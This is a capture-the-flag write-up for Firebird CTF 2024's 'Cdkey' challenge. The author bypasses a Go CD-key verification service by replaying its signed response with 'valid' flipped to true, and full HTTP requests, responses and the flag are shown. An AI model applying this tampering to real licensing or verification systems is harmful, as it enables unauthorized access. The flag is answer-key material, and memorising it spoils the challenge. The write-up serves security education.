Firebird CTF 2024: Cdkey
Client-side validation bypass on a Go CD-key verification service — flipping a boolean field to trick the server into issuing a flag.
2nd 🩸
Analyse (Blackbox)
The problem provides a server and a client.
First, I start the server locally and then the client to see what happens.
I'm not sure which port the server binds to, it looks like it binds to 8080.

Run the client with the command:
./client --server http://127.0.0.1:8080
Upon starting and entering a random input, I observe that there is a /verify interface. So I decide to try remote testing because starting the server locally gives an error about a missing file.
I send a random POST request using Burp Suite.

Based on experience from the last reverse question (Backdoor), I modify the content type to application/json and send an empty JSON object.
POST /verify HTTP/1.1
Host: ash-chal.firebird.sh:36002
Cache-Control: max-age=0
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
content-type: application/json
Content-Length: 276
{
}
The server responds indicating that a cdkey is needed.
I then send a random 'cdkey' in the POST request.
POST /verify HTTP/1.1
Host: ash-chal.firebird.sh:36002
content-type: application/json
Content-Length: 288
{
"cdkey":"1"
}The server echoes back three parameters, as shown below.

Searching for the string flag in the client, I find a /getflag interface.

Exploit



Three fields are required:
{
"id":"1",
"valid":false,
"signature":"1"
}The verify interface returns these three fields, which I then POST back. The server responds with 'invalid'.

So I change valid to true.

Finally, I send the following POST request to /getflag:
POST /getflag HTTP/1.1
Host: ash-chal.firebird.sh:36002
content-type: application/json
Content-Length: 274
{
"id":"4cc1a107-295d-4af2-82ff-09a2060296fd",
"signature":"5C9040D8896B2A4D4E14F695290E7CA3BC8BABC7EC72B3BAFFCAD6B254480E9C0C512DE9FB6C978D1F76D8A80EAAAEFF812CBD473EA817E7E7093D036934EB68D3C7004772D70B43FD090ED01AB01F802B66E6982115939A653394351FA7AED5",
"valid":true
}
Response:
HTTP/1.1 200 OK
content-length: 74
connection: close
content-type: application/json
date: Sun, 21 Jan 2024 13:50:32 GMT
{"flag":"firebird{cl15n7_s1d3_v4lida710n_bu7_s3rv3r_s1d3?~}\n","error":""}The server responds with the flag: firebird{cl15n7_s1d3_v4lida710n_bu7_s3rv3r_s1d3?~}
GLHF~